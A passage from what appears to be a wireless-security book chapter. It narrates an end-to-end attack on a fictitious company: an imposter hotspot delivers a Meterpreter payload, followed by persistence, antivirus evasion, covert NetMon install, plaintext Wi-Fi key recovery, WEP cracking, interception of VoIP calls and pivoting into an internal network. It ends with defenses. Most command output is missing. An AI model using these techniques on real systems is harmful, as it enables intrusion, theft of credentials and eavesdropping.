victims	roam	to	our	imposter	AP,	we’ll	see	status	messages	on	the	console.

Next,	we	wait	for	victims	to	download	and	run	our	malicious	executable.	If	desired,
you	can	accelerate	a	victim’s	roaming	process	to	your	AP	by	leveraging	a	denial	of	service
attack	technique	with	a	second	wireless	card,	as	described	in	Chapter	3.	When	a	victim
attempts	to	download	any	executable	over	HTTP,	the	potage.exe	executable	is
transparently	delivered	instead.	When	the	victim	runs	the	executable,	the	Hack	Server
Meterpreter	session	will	open,	as	shown	here:

At	this	point,	we	have	access	to	the	victim	system.	Next	we	discuss	techniques	to	control
the	client,	establish	a	persistent	foothold	on	the	victim,	and	leverage	the	victim	to	exploit
remote	wireless	networks.

Controlling	the	Client

http:///var/www/setup.exe


Once	we	gain	access	with	Meterpreter	to	the	victim,	we	can	install	a	persistent	system
backdoor	mechanism	to	regain	access	to	the	system	if	the	system	leaves	the	hotspot
environment	or	reboots.	Meterpreter’s	persistence.rb	script	makes	this	easy,	simply
reconnecting	to	the	attacker	Meterpreter	system	each	time	the	user	logs	in.

First,	we	run	the	persistence.rb	script	with	no	argument	to	see	a	list	of	options.	Next,
we	run	the	persistence.rb	script	to	reconnect	to	the	attacker	Hack	Server	every	30	seconds
once	the	user	logs	in.



With	the	Meterpreter	persistence	script,	the	victim	will	automatically	connect	back
over	the	specified	port	number	to	the	Hack	Server.	At	this	point,	we	can	stop	the	hotspot
impersonation	attack	and	let	the	victim	connect	back	to	the	legitimate	hotspot,	awaiting
his	eventual	departure	and	return	to	his	enterprise	network.

Local	Wireless	Reconnaissance
Although	our	prior	Meterpreter	access	would	have	granted	us	access	to	the	victim’s	local
system,	our	goal	in	this	attack	is	to	explore	other	wireless	attack	opportunities	when	the
victim	returns	to	his	corporate	network	environment.	When	the	victim	logs	into	his
workstation	again,	a	Meterpreter	session	will	be	reestablished	with	the	Hack	Server:

With	Meterpreter	access	on	the	victim	system,	we	can	launch	a	command	shell	and
begin	our	wireless	reconnaissance.	In	this	step,	we’ll	enumerate	the	configuration	and
details	concerning	the	victim’s	wireless	stack	to	identify	the	available	wireless	interfaces,
how	those	interfaces	are	used,	the	configuration	of	preferred	networks,	and	any	sensitive
configuration	details	from	the	victim.	First,	let’s	examine	some	basic	information	about
the	system	using	the	Meterpreter	sysinfo,	getuid,	and	idletime	commands:

With	some	basic	information	about	the	host,	we	can	attempt	to	escalate	our	system
privileges	using	the	getsystem	and	getprivs	commands:



In	this	example,	the	Meterpreter	getsystem	command	achieves	administrator	access
on	the	Windows	8	host	using	the	first	technique.	On	a	Windows	8	host,	there	are	few
known	exploits	available	for	privilege	escalation	and	User	Account	Control	(UAC)
evasion,	so	UAC	is	most	likely	disabled	on	the	victim	system.	Even	without	privileged
access	on	the	host,	we	can	explore	and	obtain	data	from	the	victim,	though	our	access	will
be	limited	particularly	when	changing	network	settings	or	retrieving	sensitive	credentials.



Next,	we	can	instruct	Meterpreter	to	interact	with	the	system	using	a	cmd.exe	shell	by
issuing	the	shell	command:

	

The	Meterpreter-spawned	cmd.exe	shell	will	echo	all	commands	to	the	console	twice.
We’ve	omitted	these	commands	in	the	following	examples	for	clarity.

From	the	command	shell,	we	can	navigate	through	the	system	and	examine	the
contents	of	directories	and	basic	files,	returning	to	the	Meterpreter	shell	with	exit	to
download	files	as	desired.



Before	we	start	leveraging	the	victim’s	wireless	interface	to	attack	other	networks,	we
want	to	identify	exactly	how	the	interface	is	used	and	currently	configured.	The	best
situation	is	to	discover	that	the	system	we’ve	compromised	is	using	a	wired	interface	for
its	current	connectivity,	with	an	available,	but	unused,	wireless	interface.	We	can
determine	the	status	of	connected	interfaces	and	how	they	are	used	with	the	Windows
ipconfig	command:

	

The	command	examples	used	in	this	chapter	have	been	modified	to	remove	extraneous
carriage	returns	for	brevity.	Your	use	of	these	commands	will	look	slightly	different,	with
additional	line	breaks	between	headings	and	data.

In	this	example,	you	can	see	that	the	wireless	LAN	adapter	is	in	a	media	disconnected
state,	whereas	the	Ethernet	adapter	is	configured	with	an	IP	address,	indicating	the	victim
is	connected	to	the	network	over	the	Ethernet	interface	with	an	unused	wireless	interface.
You	can	gather	more	information	about	the	wireless	interface	using	the	netsh	command:



The	output	of	the	netsh	wlan	show	interfaces	command	gives	additional
information	about	the	victim,	including	the	interface’s	GUID	and	additional	description
information	that	reveals	the	local	interface	is	an	Intel	Centrino	Advanced-N	6205	adapter.
If	the	interface	were	in	use,	the	output	of	this	command	would	indicate	State:	connected
and	reveal	additional	information	such	as	the	SSID	and	BSSID	of	the	AP,	the	radio	type
(such	as	802.11a,	b,	g,	or	n),	and	authentication	and	cipher-suite	information,	as	well	as	a
relative	signal	strength	percentage,	and	receive	and	transmit	data	rates.

We	can	also	gather	additional	driver-specific	information,	including	the	driver	build
date	and	capability	information:



Of	particular	interest	in	the	abbreviated	output	of	the	netsh	wlan	show	drivers
command	is	the	Type	line,	indicating	that	the	driver	is	a	Native	Wi-Fi	Driver,	meaning	it
complies	with	the	NDIS	6.2	specification	and	includes	significant	functionality	over	that
of	legacy	“fat”	drivers	(which	can	also	be	used	on	Windows	7	and	8	systems).

Now	that	we	know	we’re	working	with	a	Native	Wi-Fi	driver	interface,	we	can
continue	to	enumerate	the	system	and	identify	all	the	preferred	networks	on	the	local
system:



In	the	output	from	the	netsh	wlan	show	profiles	command,	we	can	identify	all	the
profile	information	configured	through	group	policy	push	settings	(none	of	this
information	appears	in	this	output)	and	the	user	profiles	by	profile	name	(commonly	the
same	as	the	network’s	SSID).	Specifying	a	profile	by	name	displays	additional	data:



In	this	example,	the	POTAGE	SSID	profile	information	is	disclosed,	indicating	an	open
network	environment	with	no	security	key.	An	abbreviated	example	from	a	second
network	using	encryption	and	authentication	is	shown	next:

In	this	example,	the	"somethingclever"	profile	indicates	that	it	is	configured	as	a	WPA2-
PSK	network	with	AES-CCMP	encryption.	The	security	key	is	present	in	the	profile
settings	but	not	disclosed.	With	administrator	access	to	the	Windows	host,	we	can	also
display	the	plaintext	password,	as	shown	here:

As	an	alternative	to	collecting	Wi-Fi	data	manually	from	the	compromised	host,	we
can	use	the	Meterpreter	post-exploitation	wlan_profile	module	by	@theLightCosine.

The	Disclosure	of	WPA2-PSK	Keys
One	of	the	most	significant	threats	to	using	WPA2-PSK	and	WPA-PSK	networks	is	the
challenge	of	maintaining	the	secrecy	of	the	PSK	itself.	Many	organizations	take	steps	to



protect	against	disclosing	the	PSK	to	users,	instead	entering	it	directly	on	the
workstation	to	grant	access	to	the	network	or	configuring	it	through	client	management
software	such	as	Active	Directory	Group	Policy.

However,	any	user	with	access	to	run	software	as	a	local	administrator	on	her
workstation	can	also	recover	the	PSK	for	use	in	accessing	the	target	network	or
passively	decrypting	observed	network	traffic.	Further,	once	a	user	gains	knowledge	of
the	PSK,	she	can	share	the	key	with	any	other	user,	including	posting	it	online.

Even	embedded	devices	are	susceptible	to	disclosing	the	PSK	information.
Ultimately,	all	devices	participating	in	a	WPA2-PSK	or	WPA-PSK	network	need	to
save	network	authentication	credential	information,	which	can	be	extracted	from	a
running	device’s	memory	or	configuration	files.

After	gaining	information	about	the	local	client,	we	can	move	on	to	attacking	local
networks	within	range	of	our	victim	system.

Remote	Wireless	Reconnaissance
With	access	to	the	victim,	we	can	now	enumerate	and	discover	networks	in	the	area	using
active	scanning.	Windows	systems	include	support	for	command-line	discovery	of
available	networks	using	the	built-in	netsh	command:



In	this	output,	we	can	identify	the	presence	of	multiple	networks,	including	a	WPA2
Enterprise	network	with	the	SSID	CORPNET,	a	consumer	network	SSID	using	WPA2-
PSK	security,	and	a	third	network	with	open	authentication	using	WEP	for	encryption
(VOIP).

With	the	available	target	networks,	the	easy	attack	choice	is	the	WEP	target.	With	an
SSID	of	VOIP,	this	network	could	represent	an	interesting	target,	such	as	a	network	used
for	older	VoIP	handset	connectivity.	We	continue	our	analysis	by	targeting	this	network.

Using	the	Hosted	Network	Rogue	AP	Feature
In	this	scenario,	we	examine	techniques	to	exploit	a	remote	wireless	network,
effectively	crossing	an	air-gapped	boundary	in	an	organization	through	a	compromised
Windows	host.	We	are	relying	on	a	weak	wireless	network	to	remotely	exploit	WEP	(or
WPA2-PSK)	for	subsequent	access	from	the	compromised	victim.

For	scenarios	in	which	no	wireless	networks	are	immediately	accessible	to	the
compromised	victim	system,	you	might	think	we	are	out	of	luck.	However,	we	can	still
take	advantage	of	the	victim	Windows	system	to	create	a	new	wireless	network.

With	NDIS	6,	Microsoft	introduced	the	Wireless	Hosted	Network	feature,	allowing
any	Windows	Vista	or	later	host	with	an	available	Wi-Fi	interface	to	create	a	“soft	AP,”
turning	the	device	into	a	wireless	access	point	that	automatically	bridges	access	to	the
wired	network	interface.	Although	the	Wireless	Hosted	Network	feature	only	supports
WPA2-PSK	networks,	the	attacker	could	use	this	feature	to	turn	the	host	into	a	rogue
AP	device	for	subsequent	(albeit,	physically	local)	access	to	the	wired	network.

From	a	command	shell,	create	the	Wireless	Hosted	Network	with	an	SSID	and
passphrase	of	your	choosing,	starting	the	interface	as	shown	here:



The	Wireless	Hosted	Network	feature	allows	a	physically	local	attacker	to	access
the	victim’s	wired	network	through	a	wireless	connection.	Even	though	the	attacker
already	has	remote	access	over	the	Meterpreter	shell	to	the	wired	network,	wireless
access	to	the	bridged	network	can	also	be	useful	for	specific	wired	attacks	that	are	not
well	suited	to	tunneling	through	the	Windows	victim.

To	stop	the	Wireless	Hosted	Network	interface,	issue	the	stop	command.	This	stops
the	wireless	card	from	advertising	the	availability	of	the	rogue	network	and	disconnects
the	Ethernet	bridge	connection	as	well.
C:\>	netsh	wlan	stop	hostednetwork

Windows	Monitor	Mode
With	the	introduction	of	NDIS	6,	Microsoft	requires	all	Native	Wi-Fi	driver	interfaces	to
include	support	for	monitor	mode	access,	giving	users	the	ability	to	collect	frames	in
802.11	format	for	all	activity	observed	on	the	current	channel.	This	functionality	mirrors
the	monitor	mode	functionality	that	has	been	enjoyed	by	Linux	and	OS	X	users	for	many
years	and	also	represents	new	opportunities	for	an	attacker	to	leverage	a	compromised
client	to	attack	nearby	wireless	networks.

Microsoft	neither	includes	a	native	user-space	tool	for	controlling	an	interface	in
monitor	mode,	nor	do	they	include	a	tool	that	can	be	used	to	view	and	process	frames
captured	in	monitor	mode.	In	the	Microsoft	Developer	Network	(MSDN)	documentation
for	NDIS	6,	Microsoft	indicates	that	developers	can	build	their	own	tools	to	place	an
interface	in	monitor	mode,	capture	802.11	frames,	and	control	the	wireless	interface
channel	and	mode	settings	(such	as	if	the	driver	is	capturing	in	802.11b	or	802.11n	mode),
though	much	of	this	functionality	requires	the	development	of	a	lightweight	filter	driver
(LWF)	that	runs	at	a	higher	privilege	level	than	standard	user-space	applications.

Microsoft	NetMon
NetMon	is	a	Microsoft-developed	packet	sniffer	tool	designed	for	tight	integration	with
Windows.	Mirroring	much	of	the	functionality	available	in	Wireshark	for	packet	analysis,
decoding,	and	filtering	capabilities,	NetMon	also	has	the	advantage	of	being	a	signed,
trusted	application	written	by	Microsoft.	Included	with	the	NetMon	software	are	tools	and
drivers	designed	for	leveraging	the	Native	Wi-Fi	monitor	mode	features,	giving	us	the
ability	to	remotely	implement	monitor	mode	packet	sniffing	on	our	Windows	target.

First,	we	need	to	download	and	install	NetMon	on	the	target.	Although	we	can	install
and	run	NetMon	from	the	command	line	while	preventing	any	obvious	signs	of	it	being
installed	(such	as	keeping	the	user’s	desktop	from	displaying	a	NetMon	icon),	the	only
mechanism	available	to	control	the	wireless	driver’s	channel	is	performed	through	the
GUI	interface.	As	a	result,	we	want	to	get	GUI	access	on	the	victim’s	system.

Establishing	Remote	Desktop	Access
Multiple	options	to	obtain	remote	desktop	access	to	the	target	are	available.	The	built-in
Remote	Desktop	Protocol	(RDP)	service	could	be	configured	automatically	and	pushed	to



our	attacker	from	behind	the	firewall	with	protocol	redirection	assisted	by	the	netcat	tool,
although	this	would	require	several	changes	to	the	target	system,	including	modification	of
the	Windows	Firewall	Service.	A	simpler	option	is	to	leverage	the	Meterpreter	Virtual
Network	Computing	(VNC)	payload	injection	capability	in	RAM.

First,	we	make	sure	the	vncviewer	utility	is	installed	on	the	attacker’s	system:

If	the	which	command	does	not	return	output,	then	check	with	your	Linux	distribution’s
documentation	for	a	VNC	viewer	package	to	be	installed	before	you	continue.

We	want	to	wait	until	there	are	no	users	sitting	at	our	victim’s	workstation	before
launching	the	VNC	client	payload,	as	the	actions	and	applications	opened	by	our	attacker
will	be	displayed	on	the	user’s	native	console.	We	can	examine	the	activity	level	of	the
victim’s	console	with	the	Meterpreter	idletime	command:

Since	the	user	is	idle,	we	can	inject	the	vncviewer	reverse_tcp	payload	to	gain	remote
desktop	access	to	the	victim.	By	using	the	Meterpreter	post-exploitation	payload_inject
function,	we	can	add	the	VNC	reverse_tcp	payload	to	the	existing	session	in	memory
alone,	without	writing	content	to	the	victim’s	hard	drive.	Doing	this	gives	us	the	advantage
of	minimizing	changes	to	the	victim’s	system	and	is	more	likely	to	evade	antivirus
systems:



Immediately	after	delivering	the	VNC	reverse_tcp	injection	payload,	the	target
connects	back	to	the	attacker’s	system	with	a	listening	TCP	port	on	TCP/5900.	Our
attacker’s	system	launches	the	vncviewer	payload,	granting	us	access	to	the	victim’s
desktop	with	a	cmd.exe	shell	automatically	invoked	by	the	vncinject	payload	(the
Metasploit	Courtesy	Shell),	as	shown	in	Figure	6-6.

Figure	6-6	Victim’s	desktop	view	with	Metasploit	Courtesy	Shell	access

Once	we	have	remote	access	to	the	victim’s	GUI,	we	can	install	the	NetMon	software
on	his	system.

Installing	NetMon
With	GUI	access	to	the	victim,	we	can	use	the	local	web	browser	to	visit	the	Microsoft
download	page	to	download	and	run	the	install	executable	for	NetMon,	though	this
process	is	relatively	slow	due	to	the	lag	in	screen	refresh	over	the	VNC	desktop
connection.	Instead,	we	do	as	much	as	we	can	from	the	command	line,	leveraging	the	GUI
only	when	necessary.

On	the	attacker’s	server,	we	download	the	latest	version	of	NetMon	(3.4	at	the	time	of
this	writing),	extracting	the	executable	to	reveal	the	embedded	MSI	installer.	Alert	readers



will	notice	this	package	contains	two	installers—one	for	NetMon	proper	and	one	for	its
parsers.	We	need	to	upload	and	install	both	for	this	tool	to	function	properly.

	

Check	for	updated	versions	of	NetMon	at	the	Microsoft	Download	Center	by	browsing	to
http://www.microsoft.com/downloads/.

Returning	to	the	Meterpreter	shell,	we	upload	the	netmon.msi	packages	in	a	temporary
directory	on	the	victim’s	system:

Next,	we	use	the	built-in	msiexec	tool	to	install	the	NetMon	installer	quietly.	To
prevent	the	installer	from	creating	a	desktop	icon	for	the	NetMon	utility,	we	temporarily
apply	a	read-only	access	control	list	on	the	All	Users	Desktop	folder	before	installing
NetMon:

http://www.microsoft.com/downloads/


With	the	NetMon	installation	complete,	we	can	now	leverage	the	capabilities	of	the
local	wireless	card	to	attack	the	VOIP	WEP	network.

Monitor	Mode	Packet	Capture
The	NetMon	installation	process	gives	us	a	GUI	Network	Monitor	process	that	most
NetMon	users	leverage	for	packet	capture	and	data	analysis.	In	our	attack,	however,	we’ll
explore	some	of	the	companion	executables	that	are	supplied	with	the	NetMon
installation.

The	NetMon	tool	nmwifi	interacts	with	the	NetMon	LWF	filter,	controlling	access	to	a
wireless	interface	to	enable	it	in	monitor	or	managed	mode	and	to	specify	a	channel	and
physical	layer	(PHY,	such	as	802.11a	or	802.11g).	Unfortunately,	nmwifi	is	accessible
only	from	the	GUI.	Because	the	NetMon	installer	automatically	adds	the	Network	Monitor
Program	Files	directory	to	the	system	PATH,	we	can	launch	nmwifi	from	the	GUI	using
Start	|	Run	or	from	the	Meterpreter	prompt.	Once	started,	the	nmwifi	GUI	will	display	a
drop-down	list	of	available	Native	Wi-Fi	drivers	with	an	option	to	enable	monitor	mode
and	control	the	channel	settings,	as	shown	next.



	

Do	not	attempt	to	place	the	victim’s	wireless	interface	in	monitor	mode	if	it	is	the
connection	through	which	you	are	accessing	the	system.	Enabling	monitor	mode	access	on
the	wireless	interface	will	terminate	all	access	through	this	interface.

To	attack	the	VOIP	network,	we	select	Switch	To	Monitor	Mode	with	a	channel	setting
of	11	and	the	IEEE	802.11g	network	type	based	on	the	output	from	the	netsh	wlan	show
networks	command	earlier	and	then	we	click	Apply.	When	the	status	bar	indicates
“Monitor	Mode:	On,	Select,”	with	the	correct	channel	and	PHY	type,	we	minimize
nmwifi.

	

Closing	nmwifi	will	revert	the	interface	back	to	managed	mode,	disabling	monitor	mode
access.	Leave	nmwifi	running	for	the	duration	of	the	monitor	mode	packet	capture	session.

Returning	to	the	Meterpreter	cmd.exe	shell,	we	can	launch	the	command-line	NetMon
packet	capture	tool,	nmcap.	We	set	the	tool	to	capture	on	the	wireless	interface,	filtering	to



save	only	wireless	data	packets	and	saving	the	results	to	voip.cap.

The	value	following	Received	indicates	the	number	of	frames	observed	by	the	nmcap
process,	with	the	value	following	Saved	indicating	the	number	of	frames	matching	the
WiFi.Data	filter	that	are	saved	to	the	voip.cap	file.	We	can	leave	this	process	running	to
capture	data	frames	from	the	target	network	until	we	have	captured	approximately
100,000	data	frames.	Once	complete,	we	press	CTRL-Z	to	background	the	Meterpreter
channel,	then	kill	the	nmcap	process	using	the	Meterpreter	ps	and	kill	commands.

	

Unfortunately,	it	is	not	possible	to	leverage	the	ARP	replay	or	other	WEP	network	data



acceleration	attacks	from	a	compromised	Windows	host	using	the	Native	Wi-Fi	drivers
due	to	a	lack	of	packet	injection	capabilities	in	the	NetMon	LWF	driver.

Next,	we	download	the	voip.cap	capture	file	to	our	attacker’s	system:

Since	we	are	finished	capturing	data	on	the	victim	system,	we	can	clean	up	by	killing
the	nmwifi.exe	process	as	well:

By	leveraging	the	remote	wireless	capabilities	of	the	Windows	victim,	we	can	collect
monitor	mode	traffic	for	a	target	network,	saving	the	data	to	a	packet	capture	file.	Next,
we	leverage	this	information	to	attack	the	VOIP	network.

Microsoft	Message	Analyzer
Microsoft	ended	development	on	NetMon	after	the	3.4	release	on	June	24,	2010.
Instead	of	continuing	to	develop	NetMon,	Microsoft	introduced	a	new	tool	known	as
Microsoft	Message	Analyzer.	Instead	of	relying	solely	on	traditional	packet	capture	data,
Message	Analyzer	uses	Event	Tracing	for	Windows	(ETW)	as	a	capture	source,
allowing	you	to	capture	network	activity	not	only	from	traditional	interfaces,	but	also
from	the	Windows	Firewall,	system	WebProxy	settings,	and	VPN	adapters	(before	and
after	encryption	and	decryption).

Like	NetMon,	Message	Analyzer	is	free	and	available	from	the	Microsoft
Download	Center	at	http://www.microsoft.com/en-us/download/details.aspx?id=40308.
Although	Message	Analyzer	introduces	many	new	and	impressive	features	(such	as
event	correlation	between	a	packet	capture	file	and	other	structured	data	sources	such	as
log	files),	it	does	not	support	monitor	mode	packet	capture	like	NetMon	does.	From	an
attacker’s	perspective,	this	is	not	problematic	because	you	can	continue	to	use
Microsoft’s	signed	NetMon	packages	to	get	monitor	mode	sniffing	support	on	a	victim
Windows	host.	Spend	some	time	familiarizing	yourself	with	Message	Analyzer	anyway,
even	if	it’s	only	to	review	NetMon	packet	capture	data	with	the	new	Message	Analyzer
Diagnostics	feature	that	allows	you	to	identify	malformed	packets	in	your	NetMon
packet	capture.

Target	Wireless	Network	Attack

http://www.microsoft.com/en-us/download/details.aspx?id=40308


The	packet	capture	file	created	with	the	nmcap	process	represents	sufficient	data	to
recover	the	WEP	key	for	the	VOIP	network.	Unfortunately,	Microsoft	NetMon	does	not
save	the	packet	capture	in	the	libpcap	format	required	by	tools	such	as	aircrack-ng,	and
although	Wireshark	correctly	interprets	the	NetMon	packet	capture	format,	it	cannot
export	the	packet	capture	into	a	libpcap	file	format.	Fortunately,	we	can	convert	the	data	to
a	libpcap	format	using	the	nm2lp	tool.

nm2lp	Packet	Capture	Conversation

The	nm2lp	tool	is	designed	to	convert	a	Microsoft	NetMon	wireless	packet	capture	to
libpcap	format	for	use	with	standard	libpcap	analysis	and	attack	tools	such	as	aircrack-ng,
Ettercap,	and	Wireshark.	Nm2lp	has	been	rewritten	to	work	on	Linux	systems	and
supersedes	the	previous	1.0	version	that	ran	on	Windows	systems.	Nm2lp	requires	the
libwiretap	and	libpcap	libraries,	which	can	be	installed	on	Ubuntu	systems	using	apt-get,
as	shown	here:
hackserver	$	sudo	apt-get	install	libwiretap-dev	libpcap-dev

After	installing	the	library	dependencies,	download	the	nm2lp.tgz	source	code	and
build	the	tool	with	the	make	command.	Install	the	file	by	running	sudo	make	install,	as
shown	here:

Nm2lp	is	simple	to	use;	we	specify	the	input	NetMon	packet	capture	filename	and	an
output	libpcap	packet	capture	filename:

With	the	packet	capture	file	in	libpcap	format,	we	can	process	the	data	with	aircrack-
ng	to	recover	the	WEP	key:



Knowing	the	WEP	key,	we	can	decrypt	and	examine	the	packet	capture	data.	First,	we
convert	the	encrypted	WEP	libpcap	packet	capture	file	into	a	decrypted	libpcap	file	using
airdecap-ng:

The	output	file—voip-dec.pcap—created	by	airdecap-ng	is	formatted	to	appear	as	if
the	data	were	captured	on	an	Ethernet	network,	making	it	compatible	with	many	different
analysis	tools,	including	Cain	by	Massimiliano	Montoro	(http://www.oxid.it).	Copying	the
decrypted	capture	file	to	a	Windows	system,	we	can	quickly	and	easily	evaluate	the	traffic
to	identify	plaintext	passwords	or	other	sensitive	data,	as	shown	in	Figure	6-7.	In	this
example,	Cain	reveals	that	the	decrypted	data	includes	two	VoIP	conversations.	Right-
click	on	the	VoIP	entries	in	Cain	to	select	and	play	the	audio	conversation.

Figure	6-7	Cain	VoIP	audio	conversation	identification

With	knowledge	of	the	WEP	key	on	the	VOIP	network,	we	can	configure	the	wireless
interface	on	the	victim	to	connect	to	the	network	as	well.	This	is	useful	if	we	want	to
continue	to	explore	the	victim’s	network;	otherwise,	we	do	not	have	access	to	the	network
from	the	victim’s	Ethernet	connection.	For	this	portion	of	the	attack,	we	need	access	to	a

http://www.oxid.it


Windows	system.

	

In	this	example,	we	examine	how	to	connect	to	a	wireless	network	on	the	victim’s	system
from	the	command	line,	by	using	a	combination	of	the	attacker’s	Windows	host	and	the
victim’s	Windows	host.	You	could	perform	all	of	these	steps	on	the	victim’s	system	alone
using	the	reverse	VNC	connection	we	established	earlier,	though	it’s	a	good	idea	to
minimize	GUI	access	to	the	victim	whenever	possible	to	avoid	detection.

On	the	attacker’s	Windows	8	or	later	host,	open	the	Windows	charms	sidebar	by
pressing	WINKEY-I,	then	click	the	wireless	network	icon.	Instead	of	selecting	one	of	the
available	networks,	click	Other	Network.	In	the	Manually	Connect	To	A	Wireless
Network	dialog,	enter	the	settings	for	the	target	Wi-Fi	network	near	the	victim,	including
the	security	parameters.	Deselect	the	option	to	connect	to	the	network	automatically.
Complete	the	wizard,	clicking	Finish	to	close.

Once	the	profile	has	been	added	to	the	attacker’s	workstation,	we	can	export	it	as	an
XML	configuration	file	and	transfer	it	to	the	victim’s	system.	On	the	attacker’s	system,	we
export	the	profile	for	the	new	network:

Once	the	XML	file	has	been	created,	we	copy	it	to	the	attack	server.	Next,	we	return	to
the	Meterpreter	shell	and	upload	the	voip.xml	file	to	the	victim:

Now	we	launch	a	cmd.exe	shell	and	execute	the	netsh	command	on	the	victim	to
import	the	XML	configuration	file:

Because	we	created	the	profile	with	the	option	to	not	connect	automatically,	we	now
have	to	connect	to	the	VOIP	network	manually.	Many	wireless	adapters	require	a	reset
after	leaving	monitor	mode,	which	we	can	accommodate	at	the	command	line,	as	shown
here:



With	access	to	the	VOIP	network	on	the	victim,	we	can	return	to	the	Meterpreter
interface	to	start	exploring	internal	networks.	One	useful	tool	for	quick	access	to	identify
available	systems	and	ports	is	the	MSFMap	module	for	Meterpreter.

MSFMap	is	a	loadable	module	for	Meterpreter	written	by	Spencer	McIntyre	and
SecureState	LLC	(available	at	https://code.google.com/p/msfmap).	Using	MSFMap,	we
can	leverage	the	TCP	stack	of	the	victim’s	Windows	system	to	scan	internal	networks.
This	approach	is	faster	than	traditional	Meterpreter	scanning	approaches	because	it	uses
the	local	victim’s	TCP	stack	for	scanning	instead	of	the	attacker’s	remote	system.

Installing	MSFMap	is	straightforward:	download	the	source	code	and	run	the	install
script,	indicating	the	location	of	Metasploit,	as	shown	here:

Returning	to	the	Meterpreter	session,	issue	the	load	msfmap	command	to	load	the
MSFMap	module.	Running	msfmap	with	no	arguments	provides	a	list	of	available	options.

https://code.google.com/p/msfmap


Using	the	victim’s	Windows	host	and	MSFMap,	we	can	quickly	scan	for	commonly
open	ports	on	a	large	number	of	hosts:



	

Most	of	the	results	from	MSFMap’s	port	scan	have	been	omitted	for	space	considerations.



From	the	MSFMap	results,	we	see	several	systems	are	available	that	are	excellent
targets	for	further	analysis.	Meterpreter	also	accommodates	network	pivoting	attacks,
where	remote	target	systems	can	be	accessed	by	the	attacker	through	port	redirection.	For
example,	if	the	attacker	wants	to	access	the	FTP	server	revealed	on	the	10.0.0.2	host	by
MSFMap,	we	can	redirect	the	host	and	port	to	a	local	attacker	port	number,	as	shown	here:

The	portfwd	command	effectively	opens	a	new	port	on	the	attacker’s	Metasploit	system,
listening	on	port	2121.	Any	connections	to	the	attacker’s	local	port	2121	will	be	redirected
over	the	Meterpreter	session,	through	the	Windows	wireless	victim,	to	the	10.0.0.2	host	on
port	21.

With	this	access,	we	can	perform	our	reconnaissance,	analysis,	and	exploitation	of
remote	systems,	as	shown	in	Figure	6-8.

Figure	6-8	Attacker	to	Victim1	redirection	for	air-gap	Victim2	access

	Wireless	Defense	In-Depth
In	this	chapter,	we	stepped	through	an	attack	against	our	fictitious	Potage	Foods	wireless
environment,	compromising	client	systems	and	using	the	subsequent	network	access	to
exploit	additional	internal	systems.	Countermeasures	against	this	style	of	attack	are	the
same	as	many	of	the	defense	mechanisms	we’ve	described	so	far	in	this	book,	applied	in-
depth	to	stop	an	attacker’s	escalation	from	wireless	client	compromise	to	internal
corporate	network	scanning	and	target	enumeration:



•		Forbidding	open	networks	Allowing	users	to	access	open	networks,	such	as
hotspot	environments,	is	an	invitation	to	attack.	An	attacker	can	exploit	software
update	mechanisms	(using	the	technique	described	in	this	chapter)	or	other	weak
but	more	predominant	protocols	such	as	DNS.	Through	administrative	controls	on
user	workstations,	consider	blocking	the	use	of	open	networks	to	limit	client
exposure.

•		Upper-layer	encryption	If	your	users	require	access	to	open	networks,
consider	enforcing	a	policy	that	requires	upper-layer	encryption	services,	such	as
IPsec	VPN	technology,	to	prevent	an	attacker	from	eavesdropping	on	or
manipulating	client	activity	on	the	network.

•		Prohibiting	unfiltered	outbound	traffic	In	this	chapter,	for	the	attacker	to
gain	access	to	the	internal	corporate	network	after	compromising	a	client	system,	a
remote	access	mechanism	was	leveraged	through	the	Metasploit	Meterpreter	and
later	the	Metasploit	VNC	module	from	the	compromised	client	to	the	attacker’s
system.	Prohibiting	unfiltered	outbound	traffic	from	the	corporate	network
through	the	use	of	firewalls	and	mandatory	proxy	systems	would	mitigate	this
subsequent	network	access	mechanism,	limiting	the	attacker’s	access	to	the
internal	network.

Summary
In	this	chapter,	we	looked	at	an	end-to-end	attack,	targeting	a	client	downloading	and
running	software	installation	tools	in	an	insecure	hotspot	environment.	By	substituting	the
legitimate	download	for	a	Veil-encoded	version	of	the	Meterpreter	reverse_tcp	payload,
we	were	able	to	take	control	of	the	victim’s	system	and	evade	antivirus	scanners.	Using
the	Meterpreter	persistence.rb	module,	we	regained	access	to	the	victim’s	system	after	he
left	the	hotspot	and	returned	to	the	corporate	network.

With	remote	access	to	the	victim’s	system,	we	could	attack	wireless	networks	that
might	not	be	otherwise	accessible	due	to	physical	proximity	constraints.	Using	built-in
tools	and	other	Microsoft	software,	we	leveraged	the	Windows	victim	as	an	unwilling
participant	in	a	WEP	network	attack,	using	Microsoft	NetMon	to	perform	remote	packet
collection	after	enumerating	the	configuration	of	preferred	and	nearby	wireless	networks.
Other	networks,	such	as	WPA2-PSK	networks	or	open	network	environments	with
unencrypted	network	traffic,	could	also	be	attacked	in	a	similar	way.

Once	sufficient	data	was	collected	to	recover	the	WEP	key,	the	nm2lp	utility	allowed
us	to	convert	from	NetMon	to	libpcap	format,	so	we	could	employ	common	attack	tools,
including	aircrack-ng.	Once	we	recovered	the	key,	we	could	passively	decrypt	the
obtained	packet	capture	to	extract	sensitive	VoIP	traffic.	Subsequently,	we	returned	to	the
victim’s	system	to	add	the	target	network	as	a	new	connection	profile	and	connect	to	the
compromised	network,	routing	traffic	from	the	attacker	through	the	victim	to	exploit
discovered	targets	across	the	air-gap	to	the	new	victim’s	network.

For	cases	in	which	there	are	no	available	wireless	networks	to	exploit	from	the
victim’s	location,	you	can	use	the	Windows	Wireless	Hosted	Network	functionality	to	turn



the	victim’s	system	into	a	hotspot	environment.	Although	this	requires	physical	proximity
to	the	victim’s	network,	the	attacker	can	forgo	the	connectivity	limitations	of	Meterpreter
remote	access	on	the	Windows	host	and	connect	to	the	newly	established	WPA2-PSK
system	available	through	the	victim.	Combined	with	the	automatic	use	of	Windows
bridging	functionality,	the	attacker	can	access	the	victim’s	wired	network	as	if	he	were
plugged	directly	into	the	network.

The	Microsoft	Native	Wi-Fi	model	has	added	tremendous	functionality	to	Windows
hosts,	giving	developers	new	abilities	to	interact	with	the	wireless	network.	This	model
also	provides	new	opportunities	for	an	attacker	to	leverage	a	compromised	victim	to	attack
remote	wireless	networks.	Through	this	capability,	even	wireless	networks	that	are	out	of
physical	range	of	an	attacker	become	accessible	and	represent	an	increased	threat	to	the
organizations	relying	on	them.
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CASE	STUDY:	You	Can	Still	Hack	What	You	Can’t	See
“Welcome	to	Apparatchic,	sir,	may	I	help	you	find	something?”

Other	customers	would	be	annoyed	at	a	clerk	who	did	not	recognize	them	after
delivering	the	same	opener	15	minutes	earlier	when	they	had	entered	the	store,	but
